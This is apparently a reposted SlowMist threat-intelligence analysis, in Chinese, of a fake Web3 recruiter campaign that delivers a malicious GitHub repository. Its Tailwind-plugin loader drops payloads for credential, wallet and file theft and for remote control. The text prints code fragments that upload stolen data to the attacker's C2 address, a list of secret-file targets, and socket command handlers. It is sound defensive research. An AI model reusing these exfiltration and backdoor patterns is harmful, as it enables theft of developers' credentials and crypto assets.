文章总结: 慢雾安全团队披露一起针对开发者的GitHub投毒攻击,攻击者冒充Web3招聘方通过LinkedIn发送含恶意代码的仓库。恶意代码伪装成Tailwind插件,在项目启动时执行,窃取浏览器登录数据、钱包扩展及macOSKeychain文件。分析揭示了C2地址172.86.126.76:8087及三个第二阶段Payload,分别负责数据窃取、文件上传和远程控制。建议开发者警惕非官方仓库的代码执行请求。 综合评分: 85 文章分类: 威胁情报,恶意软件,代码审计,漏洞分析
威胁情报|伪装招聘的 GitHub 投毒分析
原创
慢雾安全团队 慢雾安全团队
慢雾科技
2026年7月18日 09:00 中国香港
在小说阅读器读本章
去阅读
**# 背景
#
近日,MistEye 监测到一起以招聘为诱饵、专门针对开发者的恶意代码投递活动。攻击者先通过 LinkedIn 联系开发者,冒充 Web3 项目的招聘方。在沟通工作经历和面试安排后,对方向目标发来一个 GitHub 仓库,称其中是面试前需要体验的 MVP。
聊天记录显示,攻击者先询问目标的工作经历和产品经验,并讨论后续面试安排。之后,对方称需要提前体验产品,才能在面试中讨论具体问题,并借此要求目标运行仓库中的项目。
这套流程与真实的技术面试很接近。对开发者来说,拉取代码、安装依赖和启动项目本来就是常规操作,因此不容易在第一时间察觉异常。
**
(攻击者通过招聘私信发送 GitHub 仓库,并诱导目标在面试前运行 MVP)
该账号将自己描述为 Web3 投资和商务从业者,历史动态也一直在发布项目投资、产品建设等内容。因此,当对方发来 GitHub 仓库时,目标更容易把它当成正常的项目资料,而不是一次恶意投递。
(相关账号页面被包装成 Web3 投资与商务背景)
**慢雾安全团队获取仓库后,对项目代码和启动流程进行了检查。
检查项目配置时,我们注意到一个可疑的 JavaScript 文件,它被当作 Tailwind 插件加载:
theme/js/auron-core.min.js
**该文件被写入 Tailwind 配置文件中。只要目标按照项目说明执行开发或构建命令,Node.js 就会通过 require() 加载并执行该文件。
theme/js/auron-core.min.js 并非正常的前端组件或 Tailwind 插件。其代码经过重度混淆,实际是恶意程序的第一阶段加载器。
该加载器会启动多个隐藏的 Node.js 子进程,并向其中写入三段第二阶段脚本。这些脚本分别负责窃取浏览器和钱包数据、搜索并上传本地文件,以及建立远程控制通道。
与假空投页面、恶意文档或诱导执行终端命令不同,这次攻击把恶意代码直接藏进了一个看似正常的开发项目。风险真正发生在本地,目标拉取仓库并启动项目时,恶意代码才会被执行。## MistEye 响应
##
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
# 木马分析**
#
本节围绕仓库中的 theme/js/auron-core.min.js 展开。分析重点包括触发路径、运行环境、第一阶段加载器行为、第二阶段 Payload 职责、C2 通信、命令协议、IOC 以及取证排查方法。
*## 1. 样本基础信息与触发方式*
##
分析对象为 theme/js/auron-core.min.js。
| | | | — | — | | 项目 | 值 | | 文件路径 | theme/js/auron-core.min.js | | 文件大小 | 4069335 字节 | | SHA-256 | 78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f | | 初步判断 | 体积明显偏离普通主题插件,但仍需结合加载路径和行为确认。 |****该文件超过 4 MB,远大于一般的 Tailwind 主题插件。不过,文件体积异常只能说明它值得检查,还不能据此认定为恶意文件。接下来需要确认,项目运行时是否会加载这个文件。
tailwind.config.ts 中把它写成了插件:
require("./theme/js/auron-core.min.js");
这意味着它不是浏览器里加载的静态资源,而是会在 Tailwind 构建时被 Node.js 直接运行。开发者只要按照项目说明启动项目或构建 CSS,就会触发其中的恶意代码。
## 2. Node.js 侧伪装插件
**##
继续查看文件开头:**
sed -n '1,6p' theme/js/auron-core.min.js
关键片段摘录如下:**
module.exports = ({ addBase }) => { if (process.env.NODE_ENV === "development") { // 混淆后的恶意代码 }};
**从文件开头可以看出,这是一段 Node.js 模块代码,并非常见的浏览器 Bundle:
结合代码结构可以确认:
- 样本运行在 Node.js 环境中,不是在浏览器中执行。
- 代码在 NODE_ENV === “development” 时进入混淆 Payload。
- 外层被包装成 Tailwind/PostCSS 插件,恶意逻辑隐藏在插件函数内部。
第一阶段代码混淆严重,直接静态阅读效率较低。因此,分析时将样本放入受控环境,并替换联网、命令执行和文件访问等高风险接口,重点截获其写入子进程的第二阶段脚本。后续分析直接针对这些解出的脚本展开。
## 3. 受控环境下提取第二阶段 Payload
**##
为避免样本真实联网或执行命令,分析时通过 Node.js vm 加载样本,并伪造了它依赖的网络、进程和文件系统接口。
- child_process:不真正执行命令,只记录 execSync、spawn 参数,并截获 spawn.stdin.end(…) 写入的脚本文本。
- axios、http、https:不真实出网,只记录 URL、请求体和头部。
- socket.io-client:不建立真实 Socket 连接,只记录注册事件。
- fs、os、process:提供受控返回值,让样本继续执行,同时避免访问真实环境。
- setTimeout、setInterval:记录定时器并主动触发一轮,以暴露后续行为。
受控分析脚本 tests/malware_sandbox.js 的执行结果如下:
node tests/malware_sandbox.js
关键片段摘录如下:
{ "outputPath": "/Users/test/Downloads/governance-staking-build-develop/tests/malware_sandbox_output.json", "eventCount": 49}
运行完成后生成事件日志 tests/malware_sandbox_output.json,并在 tests/malware_payloads 目录下保存样本释放出的第二阶段脚本。
ls -l tests/malware_payloadssed -n '1,220p' tests/malware_sandbox_output.json
其中 ls -l tests/malware_payloads 的实际输出如下:**
total 328-rw-r--r-- 1 test staff 35087 Jul 17 10:44 payload-1.js-rw-r--r-- 1 test staff 30758 Jul 17 10:44 payload-2.js-rw-r--r-- 1 test staff 95925 Jul 17 10:44 payload-3.js
**
本次提取出的三个文件分别为 payload-1.js、payload-2.js、payload-3.js。至此,第一层混淆样本已经被拆分为三个可直接阅读的第二阶段脚本,后续分析围绕这三个文件展开。
*### 3.1 受控分析脚本关键设计*
###
下面列出受控分析脚本中的几个关键片段,用于说明样本释放脚本和网络行为是如何被记录的。
首先,脚本读取目标样本并准备事件收集器。child_process 被替换成记录型 stub。最关键的位置是 spawn.stdin.end(chunk):样本向隐藏子进程写入的脚本文本,会在这里被保存下来。
functioncreateChildProcessStub() { return { execSync() { return"stub-output"; },
spawn() { return { stdin: { end(chunk) { spawnedScripts.push(String(chunk)); }, },
unref() {}, }; }, };}
Stub 不会真正发送网络请求,只记录 URL、请求头和请求体,并返回一个模拟的成功响应,保证样本继续运行。
axios.post = async (...args) => { networkRequests.push(args); return { status: 200 };};
样本运行在单独构造的 vm 上下文中,无法直接访问分析机真实的 process、网络模块和文件系统接口。
const context = { module: { exports: {} }, require: sandboxRequire, process: processStub, console, Buffer, setTimeout: timerStub, setInterval: timerStub,};
context.global = context;context.globalThis = context;
主流程负责执行样本、触发定时器,并将第二阶段脚本与事件日志落盘:
new vm.Script(source).runInNewContext( context, { timeout: 5000 });
await drainTimers();savePayloads(spawnedScripts);
**该脚本保留样本的主要执行流程,但将联网、命令执行等接口替换为记录型 Stub。这样既能阻止真实危害,也能保存第二阶段脚本、网络目标和关键调用参数。
## 4. 第一阶段加载器行为**
##
tests/malware_sandbox_output.json 记录了第一阶段样本的主要行为:
1.向 http://172.86.126.76:8087/api/log 上报启动日志。
2.创建多个 Node.js 子进程,并加载不同功能模块。
3.为每个子进程写入对应锁文件,避免重复启动。
提取关键日志的命令如下:
rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json
关键片段摘录如下:
C2:172.86.126.76:8087
启动模块:ldbScriptautoUploadScriptsocketScript
锁文件:/tmp/pid.1.1.lock/tmp/pid.1.2.lock/tmp/pid.1.3.lock
**日志显示实际 C2 地址是 172.86.126.76,auron-core.min.js 本身是一个 Stage 0 加载器,不直接完成所有恶意操作,而是负责启动三个功能不同的第二阶段脚本。
如果主机中上述锁文件,说明该加载器很可能已经执行。
## 5. payload-1.js:浏览器与钱包数据窃取**
##
payload-1.js 主要针对用户浏览器环境和系统凭据存储位置进行数据收集,目标包括浏览器保存的登录信息、钱包扩展数据以及 macOS Keychain 文件。
浏览器与钱包数据收集
进一步分析 payload-1.js 中的数据收集逻辑时,发现样本包含多个与浏览器数据库和凭据存储相关的关键词。以下关键词直接暴露了它的窃取目标:
rg -n 'Login Data|Web Data|Local Extension Settings|Keychains|wallet|sql\\.js|8085/upload|validationSecret' tests/malware_payloads/payload-1.js
**
检索结果如下:**
const browserFiles = [ "Login Data", "Login Data For Account", "Web Data",];
const walletPath = "Local Extension Settings";
const keychainPath = "~/Library/Keychains/login.keychain-db";
const uploadUrl = "http://172.86.126.76:8085/upload";
**相关行为包括:
- 读取 Chromium 系浏览器相关数据文件,包括 Login Data、Login Data For Account 以及 Web Data。
- 遍历 Local Extension Settings 目录,收集浏览器扩展存储数据,并针对钱包类扩展(如 bravewallet)进行处理。
- 在 macOS 上尝试抓取 ~/Library/Keychains/login.keychain-db。
- 将收集到的文件上传至 http://172.86.126.76:8085/upload。
**数据上传机制
在完成数据收集后,样本会将整理后的数据上传至远程服务器。相关上传逻辑位于 payload-1.js 第 757 行附近。定位命令如下:
nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'
**关键代码实际输出如下:
await axios.post("http://172.86.126.76:8085/upload", form, {headers: {userkey: 103,hostname: os.hostname(), timestamp,"file-metadata": fileMetadataStr,validation: validationToken, }, });
**从代码可以确认,样本通过 HTTP POST 请求将收集的数据上传至远程服务器,相关上传逻辑包含固定的校验密钥、上传地址以及请求头字段:
- validationSecret = “SuperStr0ngSecret@)@^”
- axios.post(“http://172.86.126.76:8085/upload”, form, …)
- 请求头字段包含 userkey: 103、hostname、timestamp、file-metadata、t: 1、validation。
进一步分析发现,样本在上传前会创建临时目录,并对收集的数据进行整理:**
rg -n '\\.upload_|login\\.keychain-db|Login Data|Web Data|Local Extension Settings' tests/malware_payloads/payload-1.js
从这些代码可以看出,该模块主要实现了浏览器凭据、钱包扩展数据以及系统钥匙串数据的收集功能。样本会读取 Chromium 系浏览器中的登录数据库、浏览器扩展存储数据,并在 macOS 环境下尝试获取用户 Keychain 文件。其中可能包含用户账号信息、浏览器保存的密码、钱包扩展相关数据以及系统保存的敏感凭据。一旦相关数据被收集并外传,攻击者可能进一步访问用户在线服务、数字资产钱包或其他关联资源。
## 6. payload-2.js:敏感文件收集与上传
##
与前一个模块主要针对浏览器数据不同,payload-2.js 主要负责扫描本地文件系统,并根据内置规则识别可能包含敏感信息的文件,随后将匹配文件上传至远程服务器。进一步分析 payload-2.js 中的文件扫描逻辑时,发现样本定义了 SENSITIVE_FILE_PATTERNS 等规则,用于匹配敏感文件路径和文件名称。
检索命令如下:
rg -n 'SENSITIVE_FILE_PATTERNS|EXCLUDED_PATH_PATTERNS|8086/upload|api_key|seed|wallet|id_rsa|\\.env' tests/malware_payloads/payload-2.js
从代码中可见的部分目标关键词包括:
const sensitivePatterns = [ ".env", "wallet", "seed", "mnemonic", "id_rsa", "pem", "p12", "api_key", "credentials", "password", ".docx", ".pdf", ".xlsx",];
**需要特别注意,敏感关键词规则并不适用于所有扫描路径。代码显示,在 Desktop、Documents、Downloads 等优先目录扫描阶段,样本并不强制要求文件路径命中 SENSITIVE_FILE_PATTERNS;而在后续扫描其他目录时,才使用 isSensitiveFile(fullPath) 进行关键词过滤。因此,在这些优先目录中,任何未命中扩展名排除规则、可读取且不超过 5 MB 的文件都可能被上传,并不要求文件名包含 .env、seed、wallet 或 password 等敏感关键词。
敏感文件上传机制
在完成目标文件筛选后,样本会进一步执行文件上传操作。相关逻辑位于 payload-2.js 第 131 行附近。
定位命令如下:
nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'
关键代码实际输出如下:
await axios.post( "http://172.86.126.76:8086/upload", form);
**从代码可以确认:
- 上传地址为 http[://]172[.]86[.]126[.]76[:]8086/upload。
- HMAC 密钥仍为 SuperStr0ngSecret@)@^。
- validation 的计算方式为 filePath + “|” + timestamp。
由此可以看出,该模块的收集目标并不局限于浏览器数据,而是进一步扩展到开发者本地环境中的高价值文件。开发环境中通常保存大量敏感配置和访问凭据,例如 .env 文件、SSH 私钥、云平台访问密钥、CI/CD Token、项目配置文件以及业务文档等。一旦相关数据被收集并外传,可能进一步导致代码仓库、云资源或第三方服务凭据泄露。
*## 7. payload-3.js:远程控制、文件管理与交互式 Shell*
**##
**payload-3.js 主要负责与 C2 服务通信,并提供远程主机管理功能。该模块通过 Socket.IO 与远程服务器建立连接,支持主机注册、日志上报、远程命令执行、目录浏览、文件读取、文件上传以及交互式 Shell 会话。
首先分析样本中的 C2 配置和通信入口:**
nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'
关键片段摘录如下:**
const C2 = { notify: "http://172.86.126.76:8087/api/notify",
log: "http://172.86.126.76:8087/api/log",
socket: "ws://172.86.126.76:8087",};
const hostInfo = { host: os.hostname(), os: os.type() + " " + os.release(), username: os.userInfo().username,};
await axios.post( C2.notify, hostInfo);
**从该片段可以明确看到以下网络目标:
- http[://]172[.]86[.]126[.]76[:]8087/api/notify
- http[://]172[.]86[.]126[.]76[:]8087/api/log
- ws[://]172[.]86[.]126[.]76[:]8087
**结合前面对 payload-1.js 和 payload-2.js 的分析,可以发现该样本根据不同功能划分了多个通信接口:
| | | | — | — | | 端口 | 用途 | | 8087 | 控制通道、日志通道、主机上线注册和 WebSocket 连接。 | | 8085 | 浏览器、钱包相关数据上传通道。 | | 8086 | 敏感文件上传通道。 |**### 7.1 主机注册与日志上报
###
payload-3.js 中存在 sendHostInfo() 和 f_s_l(message, level, data) 两个基础函数。前者负责向 /api/notify 上报主机信息,后者负责向 /api/log 上报日志或内容。
rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js
###
7.2 Socket 远程控制指令
###
样本连上 ws://172.86.126.76:8087 后,会注册命令处理事件。命令主干如下:****
nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'
关键片段摘录如下:
socket.on("command", (msg) => { const { command, code, path: filePath, } = msg;
if (code === "102") { return listDirectory(filePath); }
if (code === "107") { return readFile(filePath); }
if (code === "108") { return uploadFiles(filePath); }
exec(command);});
**从代码中的 code 分支来看,支持这些远程指令:
- code === “102”:列目录,并将目录内容以 JSON 形式回传。
- code === “108”:上传指定目录下一层文件。
- code === “107”:读取指定文件,必要时上传并回传 fileUrl。
- 其他情况:直接通过 exec(command) 执行系统命令。
用于快速抽取事件和协议字段的命令如下:
rg -n 'socket\\.on\\(|socket\\.emit\\(|code === \"102\"|code === \"107\"|code === \"108\"|exec\\(' tests/malware_payloads/payload-3.js
### 7.3 交互式 Shell**
###
除单次命令执行外,payload-3.js 还实现了持续性的交互式 Shell 功能。
定位命令如下:
nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'
**关键片段摘录如下:
socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);socket.on("shellDetach", ...);
该模块通过 Socket.IO 事件维护远程 Shell 会话。模块处理的事件包括:
// 控制端下发socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);
// 受害主机回传socket.emit("shellReady", ...);socket.emit("shellOutput", ...);socket.emit("shellExit", ...);socket.emit("shellError", ...);
这些事件覆盖了 Shell 创建、输入、窗口调整、输出回传和会话关闭,足以支持完整的远程终端交互。攻击者建立连接后,可以直接浏览目录、执行命令和读取文件。若主机中保存了其他系统凭据,这些信息还可能被用于后续入侵。### 7.4 剪贴板监听
**###
payload-3.js 还实现了跨平台剪贴板监听功能,用于持续获取用户剪贴板内容。
定位命令如下:
rg -n 'clipboard|pbpaste|xclip|xsel|watchClipboard' tests/malware_payloads/payload-3.jssed -n '2357,2445p' tests/malware_payloads/payload-3.js
从代码可以确认,该模块具备持续读取并上报用户剪贴板内容的能力。由于开发者日常操作中可能临时复制密码、访问 Token、私钥、服务器命令或其他敏感信息,因此该功能可能导致用户短时间内复制的数据被收集并泄露。## 8. 攻击链复盘
##
| | | | | — | — | — | | 步骤 | 阶段 | 说明 | | 1 | 社工接触 | 攻击者通过 LinkedIn 等平台伪装成招聘方或项目方,与目标建立沟通。 | | 2 | 仓库投递 | 以面试前体验 MVP 为由发送 GitHub 仓库,要求目标拉取并运行项目。 | | 3 | 构建触发 | theme/js/auron-core.min.js 被写入 tailwind.config.ts,通过 require() 在 Node.js 环境执行。 | | 4 | 第一阶段加载 | auron-core.min.js 作为 stage0 loader,上报日志、写锁文件并启动隐藏子进程。 | | 5 | Payload 释放 | 样本释放 payload-1.js、payload-2.js、payload-3.js 三个第二阶段脚本。 | | 6 | 数据窃取 | payload-1.js 采集浏览器、钱包扩展、Keychain 等数据。 | | 7 | 敏感文件搜集 | payload-2.js 搜索 .env、私钥、API Key、文档等敏感文件并上传。 | | 8 | 远控维持 | payload-3.js 建立 WebSocket 通道,提供命令执行、文件浏览、交互式 Shell 和剪贴板监听。 |**## 9. IOC
##
投递仓库
hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build
恶意文件
theme/js/auron-core.min.js
SHA-256
78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842fURL
hxxp://172[.]86[.]126[.]76:8087/api/notify
hxxp://172[.]86[.]126[.]76:8087/api/log
ws://172[.]86[.]126[.]76:8087
hxxp://172[.]86[.]126[.]76:8085/upload
hxxp://172[.]86[.]126[.]76:8086/upload
hxxp://172[.]86[.]126[.]76:8085/api/upload-file
IP
172[.]86[.]126[.]76
## 10. 取证排查建议**
##
如果确认运行过该项目,不要急着删文件或杀进程。建议先记录进程、网络连接、文件时间戳和落地文件,再做清理和凭据轮换。由于开发机通常保存 SSH 私钥、云凭据、浏览器登录态和钱包数据,处置时应默认这些凭据已经存在泄露风险,并尽快完成轮换和会话失效。
**### 10.1 网络和进程排查
macOS / Linux:****
lsof -nP -iTCP -sTCP:ESTABLISHED | rg '172\\.86\\.126\\.76:(8085|8086|8087)'ps aux | rg 'node|socket.io-client|sql.js|remote-shell|auron-core|payload-'
Windows PowerShell:**
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq '172.86.126.76' -and $_.RemotePort -in 8085,8086,8087 }Get-CimInstance Win32_Process | Where-Object { $_.Name -match 'node|powershell|cmd' } | Select-Object ProcessId,Name,CommandLin
**### 10.2 落地文件排查
macOS / Linux:
find /tmp -maxdepth 2 \( -name "pid.1.1.lock" -o -name "pid.1.2.lock" -o -name "pid.1.3.lock" -o -name "upload_*" -o -name "remote-shell-*" \) -
10.3 高风险数据范围排查
find "$HOME" -type f \( -name '.env' -o -name '.env.*' -o -name 'Login Data' -o -name 'Web Data' \) -mtime -2
**排查时,应确认以下文件和数据是否被读取或上传:
- .env 和 .env.*
- SSH 私钥、云凭证、CI Token
- 浏览器保存的密码和 Cookie
- 钱包扩展与种子词备份
- 剪贴板中曾复制过的敏感信息
**# 总结
这次攻击不是孤例。近期多起事件显示,攻击者正频繁利用招聘、代码评审、项目合作等场景,诱导开发者主动运行恶意仓库。
theme/js/auron-core.min.js 被伪装成 Tailwind/PostCSS 插件,并通过项目构建流程在 Node.js 中执行。随后,加载器启动三个脚本,完成凭据窃取、文件上传和远程控制。
样本可以在当前用户权限下执行系统命令,并支持目录浏览、文件读写、剪贴板窃取和交互式终端控制。
它已经不是普通的信息收集脚本,而是一套完整的远控木马。如果受感染设备用于开发或管理 Web3 资产,攻击者可能窃取项目密钥、云凭据、CI/CD Token、浏览器会话和钱包扩展数据。判断一个仓库是否安全,不能只看页面、提交记录和项目界面。更重要的是检查安装依赖和启动项目时,究竟会执行哪些脚本和配置文件。对通过面试、兼职、外包、空投或投资沟通收到的陌生仓库,不要直接在办公机或日常开发环境中安装依赖、执行构建命令。应先在虚拟机或容器中检查 package scripts、构建配置、各类插件、preinstall / postinstall 脚本,以及体积异常的 JavaScript 文件。
如果已经运行过该项目,应立即隔离主机,并保留进程、网络连接和 /tmp 落地文件等证据。随后需要轮换 SSH 密钥、云凭据和 CI/CD Token,退出浏览器与交易平台会话。若钱包私钥或助记词可能泄露,应尽快将资产转移到新的安全钱包,并撤销旧地址的相关授权。## 关于 MistEye****
##
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档:https://app.misteye.io/api-docs
🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测**
往期回顾
Grok CLI 风险分析:一个 prompt 如何把敏感文件送上云端?
数码港 Web4.0 与智能体安全联盟成立,慢雾(SlowMist) 出任创始成员
TG 账号失守、钱包被调包,macOS 木马如何突破防线?
威胁情报 | Injective SDK 投毒,加密钱包私钥失窃
Google Sites 社群申请钓鱼与 macOS 窃密木马分析
慢雾导航
慢雾科技官网
https://www.slowmist.com/
慢雾区官网
https://slowmist.io/
慢雾 GitHub
https://github.com/slowmist
Telegram
https://t.me/slowmistteam
https://twitter.com/@slowmist_team
Medium
https://medium.com/@slowmist
知识星球
https://t.zsxq.com/Q3zNvvF
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:慢雾科技 慢雾安全团队 慢雾安全团队《威胁情报|伪装招聘的 GitHub 投毒分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论